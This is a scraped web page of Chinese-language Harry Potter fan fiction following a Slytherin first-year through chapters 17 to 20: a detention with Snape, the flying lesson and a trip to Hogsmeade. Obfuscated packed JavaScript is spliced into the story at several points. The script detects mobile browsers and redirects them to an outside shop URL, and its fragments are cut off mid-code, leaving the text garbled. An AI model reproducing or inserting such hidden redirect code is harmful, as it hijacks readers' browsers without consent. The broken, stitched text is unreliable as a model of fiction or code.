RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437145|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”娜斯缇亚很乐意看到这种情况,她搬了一张凳子,坐在他们前面,“请吧。” * 现在她完全理解他们为什么会在魔药课上被斯内普教授扣分了。 “停,停,停——你们是不是故意的?”娜斯缇亚咬牙切齿,把他们从桌前赶开。 三十分钟后,一瓶完美的暗黄色药水新鲜出炉。 “请问,老板们,我可以下班了吗?”娜斯缇亚没好气地问。 “请吧,聪慧过人的小姐。”弗雷德和乔治收拾好东西,殷勤地替她拉开教室的门。 然而,就当娜斯缇亚踏进走廊的那一刻,她仿佛听见了一个从地狱传来的声音。 “九点了,格雷小姐。你为什么还在这里闲逛?” 娜斯缇亚的反应很快。 她立刻往前再跨出一步,把教室门关上。 “我来找一本书,教授。”她故作轻松地向他展示了自己的书包。 然而斯内普教授并不这么好糊弄。 他上下打量了她一眼,语调缓慢地说:“如果我没记错,这是三年级的魔药教室。” 一瞬间,娜斯缇亚感到冷汗爬满了自己的后背。 但她还是硬着头皮回答:“是的,塞德里克·迪戈里请我下来帮他找他的课本,作为他晚上给我带三明治的交换。” 不知是哪句话惹得他不悦,斯内普教授冷冷地看了她一眼。 “既然找到了,还站在这干什么?” 娜斯缇亚立刻忙不迭地准备开溜。 “教授再见!” “等等。”斯内普教授忽然又叫住了她,“你手里拿的是什么?” 气氛似乎冷冻般结了冰。 娜斯缇亚顺着他的目光低下头,看见手里那瓶明晃晃的药水。 梅林啊!为什么这瓶肿胀药水偏偏在她的手里!!! 接受着斯内普教授的目光洗礼,娜斯缇亚觉得自己像一只在米缸中被活捉的老鼠。 无处遁形。 斯内普教授冷哼一声:“到我办公室来一趟。” 娜斯缇亚脚步虚浮地跟在他身后,走进他的办公室。 老实说,他袍角翻飞的背影真是像极了一只大黑蝙蝠。 娜斯缇亚在脑子里构想着自己被罚去关禁闭的画面。 斯内普教授甚至连手都没抬一下,她就老老实实地把手里那瓶药剂交到了他的手里。 “肿胀药剂。”他冷笑了一声,“你做的?” 她总不能在这时候说出弗雷德和乔治的名字。格兰芬多不被扣个十分二十分才奇怪!(这不是没发生过) 娜斯缇亚含含糊糊地点了个头,目光在地板游离。 她再次听见一声冷笑。 “九点钟。一个不睡觉的一年级的学生,偷跑到教室熬制二年级学的药水。”他慢悠悠地晃动着药水,似乎在检查它的状态,“你想整谁?” 梅林啊,她觉得自己好冤屈。 “不是的,教授,我没有要整谁……”娜斯缇亚灵机一动,飞快地说道,“我只是受到纳威的启发,想看看能不能通过肿胀药水配制出解药,用另一种方式。” 很快,她意识到自己不应该这么说。 “格雷小姐,你有这种超乎常人的上进心。不得不说,我感到十分意外……”斯内普继续用一种拖长的语调,慢慢地宣布了她的处刑时间,“下周五晚上七点,我希望你能带着一瓶消肿剂和一篇论文,准时出现在这间办公室。” “现在,你可以走了。”他把手里的药剂瓶往面前一放。 娜斯缇亚脚步虚浮地接过来,离开他的办公室。 走到楼道口,她看到等在那里,两脸坏笑的双胞胎。 “猫女巫,你还真是一如既往的靠谱。连老蝙蝠你都敢骗。”弗雷德一点也不客气地拿走药剂瓶,“如果是我们被他抓到,这瓶药水肯定会被没收。” “都是你们害的,”娜斯缇亚简直想把他们两个给一口咬死,“他要我下周五之前写出一篇论文!” “真遗憾,这事我们可帮不了你。”弗雷德立刻说。 娜斯缇亚完全预料到了这种情况:让弗雷德和乔治坐下来安安静静地写一篇论文?这简直是天方夜谭。 很显然,这对他们的吸引力还没有发明新的小玩意来得一半大呢。 “别这么悲观,”乔治适时地安慰道,“至少我们能给你个建议。” “去请教请教你的室友。”他们异口同声地说。 “……” “好了,我们知道这难不倒你,快回去吧。”他们笑嘻嘻地看着娜斯缇亚,“还是说你想和我们一起夜游?” “免了吧!” 娜斯缇亚立刻转身往地牢跑去。 17. 第 17 章 新的一周,休息室的公告栏贴出了关于飞行课的通知。 周四下午三点半,斯莱特林和格兰芬多一起。 德拉科这几天一直在念叨飞行课。不管是礼堂还是公共休息室,到处都看得见他大吹大擂自己那高超飞行技巧的身影。 客观来说,娜斯缇亚觉得他说的话应该有90%的可信度,但主观而言,他的废话实在太多了。 连潘西都累得敷衍不动了。 飞行课当天下午,娜斯缇亚和赫敏在草坪碰面。 “我太紧张了。我和纳威几乎在图书馆呆了一天。”赫敏看起来焦虑极了,“不知道那些秘诀有没有用。” 娜斯缇亚这才注意到,纳威一直在她旁边絮絮叨叨地念着什么。 “暑假的时候我应该让伊莱莎阿姨教教我的。”赫敏继续说。 “千万别——她第一次教我的时候,我差点把脖子摔断。” 娜斯缇亚意识到自己说错了话。 赫敏看上去更加焦虑了。 “呃,我想霍琦夫人比伊莱莎专业多了,她一定不会让大家把脖子摔断的……” 显然,她干巴巴的解释没起到一点作用。 正在这时,霍琦夫人风风火火地来了,她让所有人分开,按学院站成两排。 “你们还等什么?每个人都站到一把飞天扫帚旁边。快,快,抓紧时间。” …… 娜斯缇亚可以向梅林发誓,自己绝对不是想要站在德拉科旁边的。 都怪克拉布!那个可恶的大块头挤了她一下。 回过神来的时候,空位就只剩下了德拉科附近的那一个。 潘西正朝她热情地招着手,达芙妮满脸的同情,西奥多几乎和她隔着至少五个人。 说实话,娜斯缇亚很难不怀疑克拉布是故意的。 “我要写信告诉我爸爸,让他把学校的这些破扫帚全换了。”德拉科握着一把相对来说还算规整的扫帚,满脸嫌恶。 娜斯缇亚看了眼地上那些比麻瓜小学用来扫地还要破旧的扫帚,难得想给德拉科鼓掌。 他终于打算做一件对大家都有益的事。 这点欣赏很快淹没在德拉科的喋喋不休里。 他今天的怨气似乎格外重,竟然正大光明地和霍琦夫人对着干:仗着自己丰富的飞行经历,对霍琦夫人提出的每一步标准动作都嗤之以鼻。 后者不得一次又一次过来替他纠错。 说实话,他不常这样。 “他今天又在发什么疯?为什么一直瞪着格兰芬多那边?”娜斯缇亚悄悄问达芙妮。 她总觉得哈利和德拉科之间又发生了点什么自己不知道的事。 至少在昨天,他们两个还没有这样,目光一刻也不离对方。 达芙妮摇摇头:“老实说,我并不清楚。” 她今天上午和娜斯缇亚一样,睡到变形课的前二十分钟才起。 一旁的潘西沉默了几秒,还是告诉了她们真相:“吃早餐的时候,隆巴顿收到了一个记忆球……他们发生了点口角。” ‘这应该是一种很委婉的说法。’娜斯缇亚和达芙妮不约而同地想。 “他就是个蠢货。”德拉科立刻接话道,“看看他那个样子,真恶心。” “你能别这么刻薄吗?” “难道我说错了吗?” 娜斯缇亚无话可说了。 不过,纳威的确很紧张。 他看起来恨不得一辈子黏在地上。 * 事实证明,她的感觉没有出错。 因为就在五分钟后…… “啊啊啊啊啊啊啊啊啊啊啊啊啊——” 纳威像一只香槟的瓶塞,摇摇晃晃着从地面向天空发射了出去。 所有人都惊呆了。 娜斯缇亚听见霍琦女士的高声呼喊,但这显然对纳威一点益处都没用。 他越飞越高,身体却离扫帚越来越远。 “嘿!他要掉下来了!” 事实证明,就算是魔法学校,也受地心引力的支配。 霍琦夫人甚至没来得及有所动作,纳威就“砰”地一声摔在了地上。 达芙妮紧紧闭上了眼睛。 “梅林啊,我不敢想这该多痛……” 霍琦夫人脸色铁青地留下两句勒令他们不许乱飞的话,匆匆搂着纳威走了。 娜斯缇亚注意到赫敏苍白的脸。 她现在看起来和刚刚的纳威差不多了——情愿一辈子留在地面上。 娜斯缇亚赶紧扔下扫帚,跑过去安慰她。 “我这辈子也不想飞到天上——”赫敏说。 不过显然,有人不这么想。 比如德拉科·马尔福,这个不折不扣的小混蛋。 他不知从哪里捡来了从纳威口袋里掉出来的记忆球(亏他也找得到),得意洋洋地炫耀着。 哈利立刻上前和他理论。 “拿过来!马尔福!” 但德拉科骑上了飞天扫帚,“噌”一下飞到了天上。 “我想把它放在一个什么地方,让隆巴顿去捡——”对于做这种事,他显得十分得心应手,“放在一棵树上——怎么样?” 娜斯缇亚崩溃地捂住脸,装作看不见帕瓦蒂的怒视——她刚刚和潘西吵了一架。 从指缝间,她看到西奥多正面无表情地站在原地,像一座忧郁的雕塑。 有一瞬间,娜斯缇亚很想问问他现在的感受。 “别去!霍琦夫人我们不要动——你会给我们大家带来麻烦的。”赫敏呵斥着一跃而起的哈利。 她现在一点也顾不上害怕了。 因为即将发生的事更可怕。 “哈利,你还没飞过呢,别和他置气。” 娜斯缇亚想,自己的这句话应该很不幸地起到了一些催化剂的作用。 因为哈利猛地扭头看了她一眼,一副不敢相信她会说出这句话的样子。随即,他跨上扫帚,用力一蹬地面,升到半空。 “梅林啊,他真是个天才。”娜斯缇亚下意识说,“我第五次试飞的时候,才能做得像他这么好。” 赫敏听见这句话,不满地戳了她一下。 罗恩倒是连声附和。他看起来恨不得马上飞上去,加入这场战斗。 娜斯缇亚赶紧拦住了他——在赫敏更生气之前。 “你要是敢去,我一定写信告诉莫丽阿姨。” 罗恩悻悻地扔下扫帚,转而替哈利摇旗呐喊。 赫敏气得要冒烟。 就在这时,他们看见哈利像标枪一样朝德拉科射去。 德拉科躲过去了,有些狼狈。 哈利稳得就像在扫帚上活了11年。他扶住扫帚,怒气冲冲地向德拉科伸出手。 “他们应该不至于在扫帚上打起来吧。”娜斯缇亚说。 “实在太冲动了!”赫敏答。 没人在听她们的对话。 突然,人群中爆发出一阵尖叫。 是哈利——他往地面极速俯冲而去,仿佛愿意为了那只小小的玻璃球奉献出自己的生命。 这下连罗恩也高兴不起来了。 所有人都吓傻了。 这比刚刚纳威那次带来的惊吓要震撼一百倍。 * 可是,也许哈利真的是个天才。 他不仅在离地面一英尺的高度接住了球,还及时扳直了扫帚,稳稳地落在了地上! 娜斯缇亚要收回她之前的评价:就算在扫帚上活了11年,也不一定有他最后一刻的反应速度。 这太惊险了。 格兰芬多的新生纷纷朝哈利奔跑而去,像在迎接凯旋的英雄。 德拉科不敢置信地瞪着被簇拥在人群中央的哈利,他的表情让娜斯缇亚差一点笑出声。 差一点。 因为她没来得及有所反应,就听见一个熟悉而愤怒的声音。 “哈利·波特!我在霍格沃茨这么多年——从来没有——” 梅林,她来得真快。 麦格教授十分生气,她甚至急得说不出一句完整的话:“你怎么敢——你会摔断脖子的——” 但娜斯缇亚觉得,除了愤怒和后怕,她的眼睛里还有一些别的什么情绪在闪烁着。 哈利战战兢兢地低着头。 他看起来害怕极了。 帕瓦蒂和罗恩想替哈利辩解两句,但都被麦格教授驳回了。 如果现在有一个颁奖的机会,娜斯缇亚一定要给麦格教授颁发“霍格沃茨最公正严厉教授”奖。 她带着哈利大步流星地走了。 赫敏颤着声音问:“他会被开除吗?” “我觉得应该不至于。” 那可是哈利·波特啊。 ‘如果我是麦格教授,一定要破格录取哈利进院队。’娜斯缇亚想,‘他绝对会在魁地奇比赛中大放异彩。’ 娜斯缇亚不是很确定麦格教授是否愿意这么做。她是一位讲规矩的严师。 而且…… 为了斯莱特林的荣誉,她最好还是别这么做。 * 事实证明,德拉科白高兴了一场。 当天晚上,娜斯缇亚在礼堂吃饭的时候,看见哈利正兴奋地和罗恩说什么。 那个样子可一点也不像要被开除的学生。 她还注意到,弗雷德和乔治一进礼堂,就冲着哈利和罗恩的方向过去了。 这很反常。他们平时哪有这么积极地和哈利打过招呼(罗恩就更不可能了)。 她立刻放下叉子,奔向格兰芬多长桌。 弗雷德一下就注意到了她。 他停下说到一半的话,问:“猫女巫,你怎么跑来格兰芬多长桌了?” “哦,你们在讨论秘密。”她背着手,观察着每个人的表情。 乔治哈哈大笑:“兄弟,你想瞒过她,就像我们想骗她一样困难。” “我只是担心哈利会介意。”弗雷德耸耸肩。 娜斯缇亚注意到哈利在躲避自己的眼神。 他还在意下午那句话? “哈利,你没事吧?你下午飞得真好,我敢说,练习了四五年的人也不能飞得你这样好。”她立刻说,“你一定继承了你爸爸的天赋!” 哈利的眼睛立刻变得亮晶晶的。 真好哄。 “嗯……娜缇,我想告诉你也没什么。”他说,“我选上了格兰芬多的找球手。” 娜斯缇亚觉得自己应该刷新一下对麦格教授的认知。 很显然,她不仅和伊丽莎白一样,是个魁地奇爱好者,还是一位包容的、慧眼识珠的教授。 “你为什么看起来一点也不惊讶?”罗恩问。 “因为我猜到了一点。”娜斯缇亚说,“恭喜你,哈利。” 罗恩撇了撇嘴。 “真可怕!” “好了,我们都知道她压根不在乎任何跟魁地奇有关的事情。”弗雷德说。 乔治也站起身来:“我们得走了。李·乔丹认为他发现了一条新的秘密通道,可以通到学校外 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他们带娜斯缇亚走了密道,李·乔丹正在楼道口等他们。 看见娜斯缇亚后,李·乔丹明显欲言又止。 “不用担心她,她很聪明。”弗雷德摆了摆手。 “好吧,跟我来。” 他们避开了人,钻进雕像后的通道。 “通往猫头鹰邮局的邮筒。”通道刚闭合,弗雷德就说。 “邮筒?”李·乔丹看起来泄气极了,“你怎么又知道?” 弗雷德和乔治笑得前仰后合:“我们一年级去过一次。” “我们是不是要去霍格莫德村?”娜斯缇亚问,“我买点糖果回去行吗?” 她刚好带着几枚西可。 “当然。”乔治说,“只要别在法利面前露馅。” 娜斯缇亚点点头。 就在她想象邮筒出口有多么神奇,他们一会又该怎么回来的时候,弗雷德一把掀开头顶的一个活板门。 “……”她得承认自己有点失望。 她还以为这条密道施了什么精妙的咒语,能让他们通过小小的邮筒呢。 可娜斯缇亚还没来得及说什么,就看见乔治正望着她笑:“走吧,更有意思的地方留到下次。” * 但蜂蜜公爵永远不会让人失望。 娜斯缇亚在糖果店把钱全都花光了,换来了一大盒糖果。 她分给三个男孩子一人一把,然后他们一起朝三把扫帚酒吧进发。 “别想喝酒。”弗雷德毫不客气地宣布。 他们三个一人抱着一大杯的黄油啤酒,却非要给她点一杯樱桃汽水。 李·乔丹坚持说女孩子都喜欢这个。 “这简直是偏见!乔丹,女孩们不会喜欢你这种说法的,一点也不。”娜斯缇亚继续抗议。 “等你三年级,想喝多少杯都行。但今天不行。”乔治解释道,“要是你的级长室友知道你偷跑来霍格莫德,下次你就别想再来了。” 娜斯缇亚沮丧极了。 弗雷德和乔治推开不断追问她怎么讨女孩欢心的李·乔丹,聊起了一个更有趣的话题。 “我们最近是不是应该研发一点净化空气的新产品?你觉得怎么样?” 娜斯缇亚立刻点点头:“奇洛教授他……以前也这样吗?” 三个高年级男孩异口同声地否认了。 “我敢说他那个大头巾底下也塞满了大蒜。”弗雷德嫌恶地说。 “他的课上几乎没有一个人说话。”娜斯缇亚说。 “下次要不要试试逃课?” “我就知道你要说这句话。”娜斯缇亚拍开乔治凑过来的脑袋,“我不要,德拉科一定会拦着我问个三天三夜。” “德拉科?你居然叫那个马尔福德拉科?”弗雷德故意露出一个一惊一乍的表情,“小罗尼听到一定会气死。” 现在到底是谁看起来比较生气? “得了吧,罗纳德又不是气球……”娜斯缇亚说。 弗雷德忽然问:“我给你的那颗糖你送出去了吗?” “当然没有!我都快忘了——那是什么糖?” 李·乔丹也好奇起来:“什么糖?” “那个柠檬糖,我们还在实验它的效果。” 乔治朝李·乔丹挤挤眼睛,后者立刻心领神会地笑了。 “你们在期待它让哪个斯莱特林倒霉?”娜斯缇亚问。 弗雷德摊了摊手。 “显而易见。” 娜斯缇亚摇摇头:“幼稚的学院争端……我的飞行棋怎么样了?” “精彩绝伦,现在格兰芬多的休息室每天晚上都有人在排队等着下,比噼啪爆炸牌更受欢迎。”李·乔丹道。 “我也想试试……你周末能不能把它带出来?” “我劝你不要,”李·乔丹说,“你应该不会想在公共休息室以外的地方被炸得头发竖起吧?” “我们结合了西莫念错的一个咒语——”弗雷德说,“他真是个天才。” “虽然他本人没意识到。”乔治补充道。 西莫·斐尼甘,娜斯缇亚知道这个人,赫敏说他在第一节魔咒课上就差点把自己的书烧着了。 她惋惜地听着他们继续讨论这件事。 要是能混进格兰芬多的公共休息室就好了。 18. 第 18 章 弗雷德和乔治起初还声称要在宵禁前把娜斯缇亚送回去,但自从话题转向恶作剧之后,他们就压根记不起这件事了。 尤其在娜斯缇亚提到最近从图书馆借的书上的看到某个变形咒语之后,他们立刻拽着她开展了新一轮的产品开发论述,并表示她是这个产品的点子提供者。 所有人都莫名地感到一阵热血沸腾。 直到李·乔丹惊呼一声。 “嘿!快九点了!” 他们从座位上弹起来,夺门而出。 * 这本来应该是一次完美的霍格莫德之旅——至少在撞见她的好朋友们之前,娜斯缇亚是这么想的。 她发誓自己听到罗恩嘴里说的是“到奖品陈列室的最短路线”和“我们要怎么不被费尔奇发现”。 “你们要干什么去?”她的突然出现把他们两个吓了一大跳。 “梅林啊你为什么会在这?都这个点了。”罗恩警惕地向她身后看了看,又问,“你不是跟弗雷德和乔治去玩了吗?” “你们想夜游?”娜斯缇亚懒得跟他废话,直截了当地问。 “没有的事!娜缇,很晚了,我们要回休息室了,明天见!” 哈利飞快地拉着罗恩跑了。 那个背影看起来更像是在逃窜。 不管怎么说,她决定先一步去四楼的奖品陈列室,把它的门锁起来。 * 娜斯缇亚在楼道口碰到了满脸泪痕的纳威。 “纳威?你不是在医疗翼吗?”她十分惊诧。 纳威看到她,仿佛像看到了救星。 他从来没有这么快速地奔跑过,然后躲到了娜斯缇亚的身后。 “你们学院的幽灵实在是太可怕了!”他一边啜泣一边说。 “你是说巴罗先生?” 她立刻想起杰玛的话:如果能讨血人巴罗的喜欢,他就会同意帮你吓唬别人。 难怪德拉科最近总是对他大献殷勤。 “你的伤好了?可以回休息室了吗?” 纳威点点头:“我忘记口令了……我想回医疗翼的,但是半路撞见了那个可怕的……幽灵……” “哈利和罗恩刚走没多久,你快追上去看看吧。”她立刻说。 纳威道了谢,战战兢兢地跑了。 娜斯缇亚回过头,被放大的幽灵的脸吓了一跳。 “晚上好,先生。”她尽量控制住了面部表情。 幽灵用那双死水般幽深的眼睛紧盯着她:“这么说,那个格兰芬多是你的朋友?” “和这类人交朋友对你有什么好处?”他问。 娜斯缇亚答不上来。 坦白说,她和纳威还称不上朋友。 “先生,我得去做自己的事了。”她只好绕过巴罗,走到奖品陈列室门口。 “Colloportus。”听见“咔哒”一声之后,娜斯缇亚拧了拧门把手。 很好,锁上了。 这种咒语,哈利和罗恩是绝对不可能知道反咒的。 “这就是你要做的事?” 巴罗居然还跟在她身后。 “整人,先生。有人得罪我了。”娜斯缇亚灵机一动,说道。 巴罗用一种欣赏的目光注视着她:“我可以帮你在这看着,不过只能到十二点。” “再好不过了,先生。”娜斯缇亚真心实意地露出了一个微笑。 有巴罗在这看着,罗恩和哈利就算长了一百个胆子,也决不敢靠近这里。 她心满意足地离开四楼。 也正是在这一刻,她意识到自己晚上几乎什么都没吃。 已经很晚了。 她不确定还能去哪里找点吃的。 伊丽莎白似乎告诉过她,礼堂的食物是通过厨房的天花板传上来的。 而通往厨房的路就在主楼梯右侧的门后面。 娜斯缇亚来到她说的地点,推开门,踏进一条长廊,有点茫然地四处看着。 这种感觉就像闯入了一个不属于自己的世界。 “娜斯缇亚?”她被背后的声音吓了一跳。 回过神,塞德里克站在她身后,甚至正穿着一套睡衣。 “嗨……塞德里克。或许,你知道厨房在哪吗?”她有些尴尬地说。 这一整周,她多少都有点在躲着他。 只要想到小时候他亲眼见证过自己那张缺了个门牙的脸,她就觉得头皮发麻。 “你问对人了,我正要去找点吃的。”塞德里克带着她一路深入长廊,走到扇门面前。 门口挂着一副油画。 塞德里克伸手挠了挠水果碗里的那只梨子。 它笑了起来,笑得娜斯缇亚毛骨悚然。 之后,门上出现一个把手。 “请。”塞德里克让她先进去,“说实话,这个地方我们一般不告诉别人。” “我会尽量装作不知情。”娜斯缇亚说。 塞德里克笑了。 “那倒不用。我好几次在这看到那对双胞胎。” 厨房里有好多家养小精灵,它们看到塞德里克十分高兴,显然,对娜斯缇亚这个陌生人就没有这么热切。 “厨房今天还有什么剩下的食物或食材吗?……抱歉,我们一般都这么问。” “没关系,本来就是我来麻烦它们。”娜斯缇亚饶有兴趣地打量着这个和礼堂一样大的空间,“平时我们用餐的时候,它们就在这里忙忙碌碌吗?真有趣。” 家养小精灵们骄傲地仰着头。 “它们做得远不止这些。”塞德里克说。 其中一个家养小精灵打了个响指,一盘热腾腾的三明治出现在她们面前。 “谢谢你,萨米。” 娜斯缇亚也跟着道谢。 “不用谢,这是萨米应该做的。” 说话间,几只小精灵在厨房内凭空出现。 “他们居然能在霍格沃茨使用幻影移形。”娜斯缇亚啃着三明治,兴奋地看着小精灵们在厨房里忙来忙去。 说实在的,她从没见过家养小精灵,这还是第一次。 “你们家有家养小精灵吗?”她问塞德里克。 “什么?当然没有。”塞德里克一时有些错愕,但很快调整了表情。 “为什么要说‘当然没有’?”娜斯缇亚问。 “只有那种古老而富有的巫师家族才可能有家养小精灵,学校里的这些是赫尔加·赫奇帕奇女士带来的。” “我之前有一次听莫丽阿姨抱怨说,要是能雇一个家养小精灵就好了,我还以为……” 她还以为它们只是普通的打工人呢! 三明治里加了很多娜斯缇亚喜欢的火腿和番茄,她一口气吃了两个。 “这还有一个,你可以打包带走。”塞德里克说。 “真的吗?太好了。”娜斯缇亚接过一个家养小精灵递过来的纸袋,心满意足地和塞德里克走出厨房。 “那我先回去了,再见,塞德里克,今天谢谢你。” “等一下,娜斯缇亚。” 娜斯缇亚停住脚步,看他。 “我觉得我必须解释一下。”塞德里克郑重地说,“上周我建议你去医疗翼找庞弗雷女士换牙,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“噢,你说得对。这样还能省下早上去礼堂的时间。” 这意味着她可以多赖一会床。 “你一直在看巫师棋,你想来一局吗?”西奥多说着,就要让棋子归位。 娜斯缇亚赶紧拦住了他。 她几乎把脑袋摇成了拨浪鼓:“我有个朋友很擅长这个,今年暑假,他连赢了我10局。” “韦斯莱?” “你怎么知道。” 从西奥多的表情来看,她似乎问了个有点傻气的问题。 “总不可能是另外两个在麻瓜世界长大的朋友。” 哦,他指的是赫敏和哈利。 “嘿,其实我也是在麻瓜世界长大的。”娜斯缇亚犹豫了一会,还是说出事实。 西奥多似乎吃惊不小。 “不然我怎么认识的赫敏?我们从小一起长大,一起上学。”娜斯缇亚继续说。 梅林啊,他现在的表情实在太有趣了。 “你看起来完全不像……麻瓜在学校都学什么?” 娜斯缇亚完全没预料到西奥多居然会问这个,她立刻兴致勃勃的介绍起来:“数学、科学、历史什么的,挺有趣的。伊莱莎告诉我,我们的三年级选修的算术占卜,就和数学有很大关系。” “不过我认为,数字至少不能完全代替图形进行占卜。”她补充道。 “你可以选占卜学,如果你感兴趣的话。”西奥多回答。 “或许我可以去问问杰玛。” 他们又聊了一会,直到困意上涌,才互道了声晚安,分别走向寝室。 19. 第 19 章 魔药课对哈利而言就是一场灾难。 斯内普教授几乎整节课都揪着他不放(还有一直精神不振的纳威),成功让德拉科的心情从阴转晴。 早餐的时候哈利收到了一把光轮2000,据说还是麦格教授送的。德拉科快气疯了。 “现在,两人一组配备药水。”斯内普教授的脸色一如既往地差,“愣着干什么——要我亲自给你们配对吗?” 说实话,娜斯缇亚真的不太想和哈利一起,这将大大增加自己被挑刺的几率。 但是他的情绪实在太亢奋了,如果放任他就这么走向昏昏欲睡的纳威,他们一准会把整个教室闹得天翻地覆。 而且,赫敏一直看着她。 仿佛只要她坐过去,就能保证哈利不被扣分似的。 事实上,她还欠斯内普教授一篇论文和一瓶消肿药剂呢。 好在她的朋友们帮了不少忙。 完成论文之后,娜斯缇亚用隐形墨水在自己的名字后标上了艾玛和赫敏的署名(艾丽娅坚持认为自己什么忙都没帮上)。 晚上要独自面对院长的恐惧让她有些紧张。 可就算这样,她也不想让赫敏恨上魔药课——这是她们为数不多还能一起学习的课程了。 娜斯缇亚视死如归地拽住了哈利的胳膊,把他拖到自己的桌子前。 她察觉到斯内普教授看了自己一眼,德拉科也愤怒地瞪着她,仿佛她调走了他最爱的电视频道(当然他估计没看过电视)。 唯一令娜斯缇亚感到慰藉的是,赫敏因为这个举动有感到放松一点。 她指挥哈利碾起蛇牙。 斯内普教授慢悠悠从他们跟前走过。 就在娜斯缇亚以为他要说点什么的时候,他又转身走了。 她长舒了一口气,从罐子里夹出一只干弗洛伯毛虫。 “娜缇,以后我能每节课都跟你一起吗?”哈利像是抓住了一根救命稻草,语气高兴得像在唱歌。 “在我也被他恨上之前,我想我会的。”娜斯缇亚说。 在他们说话的时候,赫敏投来一个警告的眼神。 不知是不是错觉,娜斯缇亚感觉她今天看哈利和罗恩的眼神格外冰冷。 抓住斯内普教授转身的机会,她小声地问哈利:“你们吵架了?” 哈利的表情忽然有些沮丧,又有些激动。 “我们发现了一些事情。”哈利说,“就在昨天晚上。” “波特,你究竟有什么问题,需要不停地向格雷小姐提问?”斯内普教授冷冷的声音在他们头顶响起。 在赫敏愤怒的注视中,哈利闭上了嘴巴:“我们下课再说。” 他们开始专心致志地做着各自的工作。 很显然,这让斯内普教授更不悦。 因为下课的时候,他走到娜斯缇亚面前,丢下了一句令她魂飞魄散的话。 “格雷小姐,我希望你已经准备好了完美的答卷。” 完美的答卷! 看在梅林的份上!她甚至还是一个一年级的学生! * 赫敏今天实在有点反常。 几乎在斯内普教授话音落下的同时,她就冲出了教室。 娜斯缇亚没追上她,只好回过头找哈利和罗恩算账。 “你们昨天晚上给格兰芬多扣分了?” “没有!”罗恩矢口否认,“不过你绝对猜不到我们经历了什么。太惊险了。” “三个头的大狗!娜缇,你绝对没见过!”他激动地说。 什么莫名其妙的。 “你们果然跑出去了。”娜斯缇亚说,“因为德拉科?” “马尔福昨天过来下战书,约我们午夜决斗。”哈利解释道。 “午夜决斗?” “我们没能进去奖品陈列室——血人巴罗不知道为什么站在那。我敢打赌这一定是马尔福干的!卑鄙的胆小鬼!”他愤愤地瞪了一眼不远处的德拉科。 娜斯缇亚一句话也没说。 ‘就让罪魁祸首背锅吧。’她想。 “但我们不小心惹怒了皮皮鬼。”哈利继续说,“为了不被费尔奇抓到,我们进了邓布利多说的那条走廊。” 娜斯缇亚倒吸了一口凉气:“你是说,四楼的禁区?” 哈利点点头,压低声音:“我们在那看见了一只有三个脑袋的大狗!差点被它给吃了!赫敏说它一定在守着某样东西。还记得那篇新闻吗,古灵阁。我觉得……” “等等……你说,赫敏???”娜斯缇亚几乎在尖叫。 哈利和罗恩看起来尴尬极了。 “事实上,我们谁也没叫她……” 罗恩尝试着解释,但这让娜斯缇亚更加愤怒:“这么说,她一定是为了拦住你们才去的。是不是?” “好吧,是这样没错。”他垂头丧气地说。 娜斯缇亚真想敲开这些男孩的脑子,看看他们都在想些什么。 “所以,你们想知道那只大狗看守的是什么东西?”她尽量心平气和地问。 罗恩和哈利齐齐点头。 “只要你们别想着再带上赫敏去那送命,”她说,“我很乐意帮你们一起想。” “这太好了!”哈利又兴奋起来,“如果有什么新线索,我们会告诉你的。” * 晚餐时,娜斯缇亚从赫敏口中得知了她生气的真正原因。 “他们居然把违反校规得来的扫帚看成一种奖励!”她把眉毛揪成了一团,“我简直难以想象,他们的脑子里到底装着什么?” “别指望他们从这件事得到什么教训。没有什么比一把全新的光轮2000更能摧毁他们的理智了。” 事实上,比起男孩们狂热的魁地奇精神和格兰芬多的学院分,娜斯缇亚更在乎自己晚上能不能活着从斯内普教授的办公室出来。 赫敏立刻握住她的手给她打气:“别这样,娜缇,我觉得你的思路很好。法利小姐也帮了不少忙。” “往好了想,他至少不会扣你的分。” “但他可能用言语攻击我。” “语言是最无力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们看你一直在老蝙蝠的办公室没有出来,担心你遭遇不测。”弗雷德说话还是这么不着调。 他们怎么知道的? 这个念头只在娜斯缇亚脑中闪过一刻,她就彻底将它忘了。 因为乔治说:“我们现在有一个很棒的想法,需要你来帮忙完成。” 娜斯缇亚怒视着他们。 很好,她的感激之情已经烟消云散了。 “别这样,”弗雷德大笑,“这次有报酬。” “我们保证你会喜欢。” 乔治从口袋掏出一张叠成小方块的纸:“二楼到图书馆的密道——我们本来想等到你生日那天再给你。” 娜斯缇亚立刻拉住他们两个的胳膊,亲热地叫了一声“韦斯莱店长”:“需要我帮什么忙?” 20. 第 20 章 九月十九是娜斯缇亚和赫敏共同的生日。 这一天早晨,两只猫头鹰驼着一个纸箱,降落到格兰芬多长桌。 娜斯缇亚特地向珀西和哈利借来了赫梅斯和海德薇,因为兔牙要帮她送贺卡。 赫敏拆开贺卡,顶着一堆人的目光,抱着箱子跑到斯莱特林长桌。 “天啊,早知道你会这么做,我不可能只送你阿加莎的全套小说集!” “阿加莎!”娜斯缇亚双眼放光,“我能现在就要吗?” “我想好了要晚上给你的。” 最终,她们决定晚餐后找个地方把礼物拆开。 “她为什么要特地跑过来说这件事?”德拉科表情扭曲地问。 “不好意思,”娜斯缇亚淡淡地瞥了他一眼,“如果我没记错的话,这里似乎是学校,不是马尔福庄园。” * 忽略这个小插曲,娜斯缇亚度过了相当愉快的一天。 当然,最愉快的时刻当属她和赫敏坐在草坪上拆开彼此送给对方的礼物时。 娜斯缇亚抱着那几本厚厚的悬疑小说,想给赫敏一个大大的吻。 “这个是什么?……薄荷糖?” 而赫敏打开了一个盒子。 